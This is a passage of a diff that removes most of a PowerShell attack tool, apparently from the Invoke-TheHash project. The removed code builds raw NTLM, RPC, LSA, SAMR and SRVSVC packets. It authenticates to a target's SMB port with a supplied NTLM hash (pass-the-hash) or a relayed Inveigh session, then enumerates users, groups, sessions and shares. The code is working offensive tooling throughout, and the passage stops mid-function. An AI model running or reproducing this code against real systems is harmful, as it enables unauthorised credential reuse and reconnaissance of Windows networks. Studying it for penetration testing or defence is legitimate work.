-}
-
-#NTLM
-
-function New-PacketNTLMSSPNegotiate
-{
-    param([Byte[]]$NegotiateFlags,[Byte[]]$Version)
-
-    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0]
-    [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32
-    [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22
-    [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20
-    [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2
-
-    $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary
-    $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60))
-    $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1)
-    $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02))
-    $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0))
-    $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2)
-    $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30))
-    $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3)
-    $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0))
-    $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e))
-    $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30))
-    $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c))
-    $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06))
-    $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a))
-    $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a))
-    $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2))
-    $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4)
-    $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04))
-    $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length)
-    $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
-    $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
-    $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags)
-    $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-    $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-
-    if($Version)
-    {
-        $NTLMSSPNegotiate.Add("Version",$Version)
-    }
-
-    return $NTLMSSPNegotiate
-}
-
-function New-PacketNTLMSSPAuth
-{
-    param([Byte[]]$NTLMResponse)
-
-    [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0]
-    [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0]
-    [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0]
-    [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0]
-
-    $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary
-    $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82))
-    $NTLMSSPAuth.Add("ASNLength",$ASN_length_1)
-    $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82))
-    $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2)
-    $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82))
-    $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3)
-    $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82))
-    $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length)
-    $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse)
-
-    return $NTLMSSPAuth
-}
-
-#RPC
-
-function New-PacketRPCBind
-{
-    param([Byte[]]$FragLength,[Int]$CallID,[Byte[]]$NumCtxItems,[Byte[]]$ContextID,[Byte[]]$UUID,[Byte[]]$UUIDVersion)
-
-    [Byte[]]$call_ID = [System.BitConverter]::GetBytes($CallID)
-
-    $RPCBind = New-Object System.Collections.Specialized.OrderedDictionary
-    $RPCBind.Add("Version",[Byte[]](0x05))
-    $RPCBind.Add("VersionMinor",[Byte[]](0x00))
-    $RPCBind.Add("PacketType",[Byte[]](0x0b))
-    $RPCBind.Add("PacketFlags",[Byte[]](0x03))
-    $RPCBind.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
-    $RPCBind.Add("FragLength",$FragLength)
-    $RPCBind.Add("AuthLength",[Byte[]](0x00,0x00))
-    $RPCBind.Add("CallID",$call_ID)
-    $RPCBind.Add("MaxXmitFrag",[Byte[]](0xb8,0x10))
-    $RPCBind.Add("MaxRecvFrag",[Byte[]](0xb8,0x10))
-    $RPCBind.Add("AssocGroup",[Byte[]](0x00,0x00,0x00,0x00))
-    $RPCBind.Add("NumCtxItems",$NumCtxItems)
-    $RPCBind.Add("Unknown",[Byte[]](0x00,0x00,0x00))
-    $RPCBind.Add("ContextID",$ContextID)
-    $RPCBind.Add("NumTransItems",[Byte[]](0x01))
-    $RPCBind.Add("Unknown2",[Byte[]](0x00))
-    $RPCBind.Add("Interface",$UUID)
-    $RPCBind.Add("InterfaceVer",$UUIDVersion)
-    $RPCBind.Add("InterfaceVerMinor",[Byte[]](0x00,0x00))
-    $RPCBind.Add("TransferSyntax",[Byte[]](0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,0x2b,0x10,0x48,0x60))
-    $RPCBind.Add("TransferSyntaxVer",[Byte[]](0x02,0x00,0x00,0x00))
-
-    if($NumCtxItems[0] -eq 2)
-    {
-        $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
-        $RPCBind.Add("NumTransItems2",[Byte[]](0x01))
-        $RPCBind.Add("Unknown3",[Byte[]](0x00))
-        $RPCBind.Add("Interface2",$UUID)
-        $RPCBind.Add("InterfaceVer2",$UUIDVersion)
-        $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
-        $RPCBind.Add("TransferSyntax2",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
-    }
-    elseif($NumCtxItems[0] -eq 3)
-    {
-        $RPCBind.Add("ContextID2",[Byte[]](0x01,0x00))
-        $RPCBind.Add("NumTransItems2",[Byte[]](0x01))
-        $RPCBind.Add("Unknown3",[Byte[]](0x00))
-        $RPCBind.Add("Interface2",$UUID)
-        $RPCBind.Add("InterfaceVer2",$UUIDVersion)
-        $RPCBind.Add("InterfaceVerMinor2",[Byte[]](0x00,0x00))
-        $RPCBind.Add("TransferSyntax2",[Byte[]](0x33,0x05,0x71,0x71,0xba,0xbe,0x37,0x49,0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36))
-        $RPCBind.Add("TransferSyntaxVer2",[Byte[]](0x01,0x00,0x00,0x00))
-        $RPCBind.Add("ContextID3",[Byte[]](0x02,0x00))
-        $RPCBind.Add("NumTransItems3",[Byte[]](0x01))
-        $RPCBind.Add("Unknown4",[Byte[]](0x00))
-        $RPCBind.Add("Interface3",$UUID)
-        $RPCBind.Add("InterfaceVer3",$UUIDVersion)
-        $RPCBind.Add("InterfaceVerMinor3",[Byte[]](0x00,0x00))
-        $RPCBind.Add("TransferSyntax3",[Byte[]](0x2c,0x1c,0xb7,0x6c,0x12,0x98,0x40,0x45,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("TransferSyntaxVer3",[Byte[]](0x01,0x00,0x00,0x00))
-    }
-
-    if($call_ID -eq 3)
-    {
-        $RPCBind.Add("AuthType",[Byte[]](0x0a))
-        $RPCBind.Add("AuthLevel",[Byte[]](0x02))
-        $RPCBind.Add("AuthPadLength",[Byte[]](0x00))
-        $RPCBind.Add("AuthReserved",[Byte[]](0x00))
-        $RPCBind.Add("ContextID3",[Byte[]](0x00,0x00,0x00,0x00))
-        $RPCBind.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00))
-        $RPCBind.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00))
-        $RPCBind.Add("NegotiateFlags",[Byte[]](0x97,0x82,0x08,0xe2))
-        $RPCBind.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00))
-        $RPCBind.Add("OSVersion",[Byte[]](0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f))
-    }
-
-    return $RPCBind
-}
-
-function New-PacketRPCRequest
-{
-    param([Byte[]]$Flags,[Int]$ServiceLength,[Int]$AuthLength,[Int]$AuthPadding,[Byte[]]$CallID,[Byte[]]$ContextID,[Byte[]]$Opnum,[Byte[]]$Data)
-
-    if($AuthLength -gt 0)
-    {
-        $full_auth_length = $AuthLength + $AuthPadding + 8
-    }
-
-    [Byte[]]$write_length = [System.BitConverter]::GetBytes($ServiceLength + 24 + $full_auth_length + $Data.Length)
-    [Byte[]]$frag_length = $write_length[0,1]
-    [Byte[]]$alloc_hint = [System.BitConverter]::GetBytes($ServiceLength + $Data.Length)
-    [Byte[]]$auth_length = ([System.BitConverter]::GetBytes($AuthLength))[0,1]
-
-    $RPCRequest = New-Object System.Collections.Specialized.OrderedDictionary
-    $RPCRequest.Add("Version",[Byte[]](0x05))
-    $RPCRequest.Add("VersionMinor",[Byte[]](0x00))
-    $RPCRequest.Add("PacketType",[Byte[]](0x00))
-    $RPCRequest.Add("PacketFlags",$Flags)
-    $RPCRequest.Add("DataRepresentation",[Byte[]](0x10,0x00,0x00,0x00))
-    $RPCRequest.Add("FragLength",$frag_length)
-    $RPCRequest.Add("AuthLength",$auth_length)
-    $RPCRequest.Add("CallID",$CallID)
-    $RPCRequest.Add("AllocHint",$alloc_hint)
-    $RPCRequest.Add("ContextID",$ContextID)
-    $RPCRequest.Add("Opnum",$Opnum)
-
-    if($data.Length)
-    {
-        $RPCRequest.Add("Data",$Data)
-    }
-
-    return $RPCRequest
-}
-
-# LSA
-function New-PacketLSAOpenPolicy
-{
-    $LSAOpenPolicy = New-Object System.Collections.Specialized.OrderedDictionary
-    $LSAOpenPolicy.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00))
-    $LSAOpenPolicy.Add("PointerToSystemName_System",[Byte[]](0x5c,0x00))
-    $LSAOpenPolicy.Add("PointerToSystemName_Unknown",[Byte[]](0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_Len",[Byte[]](0x18,0x00,0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer",[Byte[]](0x00,0x00,0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer2",[Byte[]](0x00,0x00,0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_Attributes",[Byte[]](0x00,0x00,0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_NullPointer3",[Byte[]](0x00,0x00,0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ReferentID",[Byte[]](0x04,0x00,0x02,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_Qos_Len",[Byte[]](0x0c,0x00,0x00,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ImpersonationLevel",[Byte[]](0x02,0x00))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_ContextMode",[Byte[]](0x01))
-    $LSAOpenPolicy.Add("PointerToAttr_Attr_PointerToSecQos_EffectiveOnly",[Byte[]](0x00))
-    $LSAOpenPolicy.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-
-    return $LSAOpenPolicy
-}
-
-function New-PacketLSAQueryInfoPolicy
-{
-    param([Byte[]]$Handle)
-
-    $LSAQueryInfoPolicy = New-Object System.Collections.Specialized.OrderedDictionary
-    $LSAQueryInfoPolicy.Add("PointerToHandle",$Handle)
-    $LSAQueryInfoPolicy.Add("Level",[Byte[]](0x05,0x00))
-
-    return $LSAQueryInfoPolicy
-}
-
-function New-PacketLSAClose
-{
-    param([Byte[]]$Handle)
-
-    $LSAClose = New-Object System.Collections.Specialized.OrderedDictionary
-    $LSAClose.Add("PointerToHandle",$Handle)
-
-    return $LSAClose
-}
-
-function New-PacketLSALookupSids
-{
-    param([Byte[]]$Handle,[Byte[]]$SIDArray)
-
-    $LSALookupSids = New-Object System.Collections.Specialized.OrderedDictionary
-    $LSALookupSids.Add("PointerToHandle",$Handle)
-    $LSALookupSids.Add("PointerToSIDs_SIDArray",$SIDArray)
-    $LSALookupSids.Add("PointerToNames_count",[Byte[]](0x00,0x00,0x00,0x00))
-    $LSALookupSids.Add("PointerToNames_NULL_pointer",[Byte[]](0x00,0x00,0x00,0x00))
-    $LSALookupSids.Add("PointerToNames_level",[Byte[]](0x01,0x00))
-    $LSALookupSids.Add("PointerToCount",[Byte[]](0x00,0x00))
-    $LSALookupSids.Add("PointerToCount_count",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $LSALookupSids
-}
-
-# SAMR
-
-function New-PacketSAMRConnect2
-{
-    param([String]$SystemName)
-
-    [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName)
-    [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1)
-
-    if($SystemName.Length % 2)
-    {
-        $system_name += 0x00,0x00
-    }
-    else
-    {
-        $system_name += 0x00,0x00,0x00,0x00
-    }
-
-    $SAMRConnect2 = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRConnect2.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00))
-    $SAMRConnect2.Add("PointerToSystemName_MaxCount",$max_count)
-    $SAMRConnect2.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SAMRConnect2.Add("PointerToSystemName_ActualCount",$max_count)
-    $SAMRConnect2.Add("PointerToSystemName_SystemName",$system_name)
-    $SAMRConnect2.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-
-    return $SAMRConnect2
-}
-
-function New-PacketSAMRConnect5
-{
-    param([String]$SystemName)
-
-    $SystemName = "\\" + $SystemName
-    [Byte[]]$system_name = [System.Text.Encoding]::Unicode.GetBytes($SystemName)
-    [Byte[]]$max_count = [System.BitConverter]::GetBytes($SystemName.Length + 1)
-
-    if($SystemName.Length % 2)
-    {
-        $system_name += 0x00,0x00
-    }
-    else
-    {
-        $system_name += 0x00,0x00,0x00,0x00
-    }
-
-    $SAMRConnect5 = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRConnect5.Add("PointerToSystemName_ReferentID",[Byte[]](0x00,0x00,0x02,0x00))
-    $SAMRConnect5.Add("PointerToSystemName_MaxCount",$max_count)
-    $SAMRConnect5.Add("PointerToSystemName_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SAMRConnect5.Add("PointerToSystemName_ActualCount",$max_count)
-    $SAMRConnect5.Add("PointerToSystemName_SystemName",$system_name)
-    $SAMRConnect5.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-    $SAMRConnect5.Add("LevelIn",[Byte[]](0x01,0x00,0x00,0x00))
-    $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn",[Byte[]](0x01,0x00,0x00,0x00))
-    $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_ClientVersion",[Byte[]](0x02,0x00,0x00,0x00))
-    $SAMRConnect5.Add("PointerToInfoIn_SAMRConnectInfo_InfoIn1_Unknown",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SAMRConnect5
-}
-
-function New-PacketSAMRGetMembersInAlias
-{
-    param([Byte[]]$Handle)
-
-    $SAMRGetMembersInAlias = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRGetMembersInAlias.Add("PointerToConnectHandle",$Handle)
-
-    return $SAMRGetMembersInAlias
-}
-
-function New-PacketSAMRClose
-{
-    param([Byte[]]$Handle)
-
-    $SAMRClose = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRClose.Add("PointerToConnectHandle",$Handle)
-
-    return $SAMRClose
-}
-
-function New-PacketSAMROpenAlias
-{
-    param([Byte[]]$Handle,[Byte[]]$RID)
-
-    $SAMROpenAlias = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMROpenAlias.Add("PointerToConnectHandle",$Handle)
-    $SAMROpenAlias.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-    $SAMROpenAlias.Add("RID",$RID)
-
-    return $SAMROpenAlias
-}
-
-function New-PacketSAMROpenGroup
-{
-    param([Byte[]]$Handle,[Byte[]]$RID)
-
-    $SAMROpenGroup = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMROpenGroup.Add("PointerToConnectHandle",$Handle)
-    $SAMROpenGroup.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-    $SAMROpenGroup.Add("RID",$RID)
-
-    return $SAMROpenGroup
-}
-
-function New-PacketSAMRQueryGroupMember
-{
-    param([Byte[]]$Handle)
-
-    $SAMRQueryGroupMember = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRQueryGroupMember.Add("PointerToGroupHandle",$Handle)
-
-    return $SAMRQueryGroupMember
-}
-
-function New-PacketSAMROpenDomain
-{
-    param([Byte[]]$Handle,[Byte[]]$SIDCount,[Byte[]]$SID)
-
-    $SAMROpenDomain = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMROpenDomain.Add("PointerToConnectHandle",$Handle)
-    $SAMROpenDomain.Add("AccessMask",[Byte[]](0x00,0x00,0x00,0x02))
-    $SAMROpenDomain.Add("PointerToSid_Count",$SIDCount)
-    $SAMROpenDomain.Add("PointerToSid_Sid",$SID)
-
-    return $SAMROpenDomain
-}
-
-function New-PacketSAMREnumDomainUsers
-{
-    param([Byte[]]$Handle)
-
-    $SAMREnumDomainUsers = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMREnumDomainUsers.Add("PointerToDomainHandle",$Handle)
-    $SAMREnumDomainUsers.Add("PointerToResumeHandle",[Byte[]](0x00,0x00,0x00,0x00))
-    $SAMREnumDomainUsers.Add("AcctFlags",[Byte[]](0x10,0x00,0x00,0x00))
-    $SAMREnumDomainUsers.Add("MaxSize",[Byte[]](0xff,0xff,0x00,0x00))
-
-    return $SAMREnumDomainUsers
-}
-
-function New-PacketSAMRLookupNames
-{
-    param([Byte[]]$Handle,[String]$Names)
-
-    [Byte[]]$names_bytes = [System.Text.Encoding]::Unicode.GetBytes($Names)
-    [Byte[]]$name_len = ([System.BitConverter]::GetBytes($names_bytes.Length))[0,1]
-    [Byte[]]$max_count = [System.BitConverter]::GetBytes($Names.Length)
-
-    $SAMRLookupNames = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRLookupNames.Add("PointerToDomainHandle",$Handle)
-    $SAMRLookupNames.Add("NumNames",[Byte[]](0x01,0x00,0x00,0x00))
-    $SAMRLookupNames.Add("PointerToNames_MaxCount",[Byte[]](0xe8,0x03,0x00,0x00))
-    $SAMRLookupNames.Add("PointerToNames_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SAMRLookupNames.Add("PointerToNames_ActualCount",[Byte[]](0x01,0x00,0x00,0x00))
-    $SAMRLookupNames.Add("PointerToNames_Names_NameLen",$name_len)
-    $SAMRLookupNames.Add("PointerToNames_Names_NameSize",$name_len)
-    $SAMRLookupNames.Add("PointerToNames_Names_Name_ReferentID",[Byte[]](0x00,0x00,0x02,0x00))
-    $SAMRLookupNames.Add("PointerToNames_Names_Name_MaxCount",$max_count)
-    $SAMRLookupNames.Add("PointerToNames_Names_Name_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SAMRLookupNames.Add("PointerToNames_Names_Name_ActualCount",$max_count)
-    $SAMRLookupNames.Add("PointerToNames_Names_Name_Names",$names_bytes)
-
-    return $SAMRLookupNames
-}
-
-function New-PacketSAMRLookupRids
-{
-    param([Byte[]]$Handle,[Byte[]]$RIDCount,[Byte[]]$Rids)
-
-    $SAMRLookupRIDS = New-Object System.Collections.Specialized.OrderedDictionary
-    $SAMRLookupRIDS.Add("PointerToDomainHandle",$Handle)
-    $SAMRLookupRIDS.Add("NumRids",$RIDCount)
-    $SAMRLookupRIDS.Add("Unknown",[Byte[]](0xe8,0x03,0x00,0x00,0x00,0x00,0x00,0x00))
-    $SAMRLookupRIDS.Add("NumRids2",$RIDCount)
-    $SAMRLookupRIDS.Add("Rids",$Rids)
-
-    return $SAMRLookupRIDS
-}
-
-# SRVSVC
-function New-PacketSRVSVCNetSessEnum
-{
-    param([String]$ServerUNC)
-
-    [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC)
-    [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1)
-       
-    if($ServerUNC.Length % 2)
-    {
-        $server_UNC += 0x00,0x00
-    }
-    else
-    {
-        $server_UNC += 0x00,0x00,0x00,0x00
-    }
-
-    $SRVSVCNetSessEnum = New-Object System.Collections.Specialized.OrderedDictionary
-    $SRVSVCNetSessEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToServerUNC_MaxCount",$max_count)
-    $SRVSVCNetSessEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToServerUNC_ActualCount",$max_count)
-    $SRVSVCNetSessEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC)
-    $SRVSVCNetSessEnum.Add("PointerToClient_ReferentID",[Byte[]](0x04,0x00,0x02,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToClient_MaxCount",[Byte[]](0x01,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToClient_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToClient_ActualCount",[Byte[]](0x01,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToClient_Client",[Byte[]](0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToUser",[Byte[]](0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToUser_ReferentID",[Byte[]](0x08,0x00,0x02,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToUser_MaxCount",[Byte[]](0x01,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToUser_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToUser_ActualCount",[Byte[]](0x01,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToUser_User",[Byte[]](0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToLevel",[Byte[]](0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToLevel_Level",[Byte[]](0x0a,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_Ctr",[Byte[]](0x0a,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_ReferentID",[Byte[]](0x0c,0x00,0x02,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_Count",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToCtr_NetSessCtr_PointerToCtr10_Ctr10_NullPointer",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetSessEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff))
-    $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ReferentID",[Byte[]](0x10,0x00,0x02,0x00))
-    $SRVSVCNetSessEnum.Add("PointerToResumeHandle_ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SRVSVCNetSessEnum
-}
-
-function New-PacketSRVSVCNetShareEnumAll
-{
-    param([String]$ServerUNC)
-
-    $ServerUNC = "\\" + $ServerUNC
-    [Byte[]]$server_UNC = [System.Text.Encoding]::Unicode.GetBytes($ServerUNC)
-    [Byte[]]$max_count = [System.BitConverter]::GetBytes($ServerUNC.Length + 1)
-
-    if($ServerUNC.Length % 2)
-    {
-        $server_UNC += 0x00,0x00
-    }
-    else
-    {
-        $server_UNC += 0x00,0x00,0x00,0x00
-    }
-
-    $SRVSVCNetShareEnum = New-Object System.Collections.Specialized.OrderedDictionary
-    $SRVSVCNetShareEnum.Add("PointerToServerUNC_ReferentID",[Byte[]](0x00,0x00,0x02,0x00))
-    $SRVSVCNetShareEnum.Add("PointerToServerUNC_MaxCount",$max_count)
-    $SRVSVCNetShareEnum.Add("PointerToServerUNC_Offset",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetShareEnum.Add("PointerToServerUNC_ActualCount",$max_count)
-    $SRVSVCNetShareEnum.Add("PointerToServerUNC_ServerUNC",$server_UNC)
-    $SRVSVCNetShareEnum.Add("PointerToLevel_Level",[Byte[]](0x01,0x00,0x00,0x00))
-    $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Ctr",[Byte[]](0x01,0x00,0x00,0x00))
-    $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_ReferentID",[Byte[]](0x04,0x00,0x02,0x00))
-    $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_Ctr1_Count",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetShareEnum.Add("PointerToCtr_NetShareCtr_Pointer_NullPointer",[Byte[]](0x00,0x00,0x00,0x00))
-    $SRVSVCNetShareEnum.Add("MaxBuffer",[Byte[]](0xff,0xff,0xff,0xff))
-    $SRVSVCNetShareEnum.Add("ReferentID",[Byte[]](0x08,0x00,0x02,0x00))
-    $SRVSVCNetShareEnum.Add("ResumeHandle",[Byte[]](0x00,0x00,0x00,0x00))
-
-    return $SRVSVCNetShareEnum
-}
-
-function Get-UInt16DataLength
-{
-    param ([Int]$Start,[Byte[]]$Data)
-
-    $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0)
-
-    return $data_length
-}
-
-function Get-StatusPending
-{
-    param ([Byte[]]$Status)
-
-    if([System.BitConverter]::ToString($Status) -eq '03-01-00-00')
-    {
-        $status_pending = $true
-    }
-
-    return $status_pending
-}
-
-if($hash -like "*:*")
-{
-    $hash = $hash.SubString(($hash.IndexOf(":") + 1),32)
-}
-
-if($Domain)
-{
-    $output_username = $Domain + "\" + $Username
-}
-else
-{
-    $output_username = $Username
-}
-
-if($PSBoundParameters.ContainsKey('Session'))
-{
-    $inveigh_session = $true
-}
-
-if($PSBoundParameters.ContainsKey('Session'))
-{
-
-    if(!$Inveigh)
-    {
-        Write-Output "[-] Inveigh Relay session not found"
-        $startup_error = $true
-    }
-    elseif(!$inveigh.session_socket_table[$session].Connected)
-    {
-        Write-Output "[-] Inveigh Relay session not connected"
-        $startup_error = $true
-    }
-
-    $Target = $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString
-}
-
-$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id
-$process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID))
-[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-if(!$inveigh_session)
-{
-    $client = New-Object System.Net.Sockets.TCPClient
-    $client.Client.ReceiveTimeout = 5000
-}
-
-if(!$startup_error -and !$inveigh_session)
-{
-
-    try
-    {
-        $client.Connect($Target,"445")
-    }
-    catch
-    {
-        Write-Output "[-] $Target did not respond"
-    }
-
-}
-
-if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected))
-{
-    $client_receive = New-Object System.Byte[] 81920
-
-    if(!$inveigh_session)
-    {
-        $client_stream = $client.GetStream()
-        $stage = 'NegotiateSMB'
-
-        while($stage -ne 'Exit')
-        {
-
-            try
-            {
-                
-                switch ($stage)
-                {
-
-                    'NegotiateSMB'
-                    {          
-                        $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00       
-                        $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version
-                        $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header
-                        $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-                        $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data
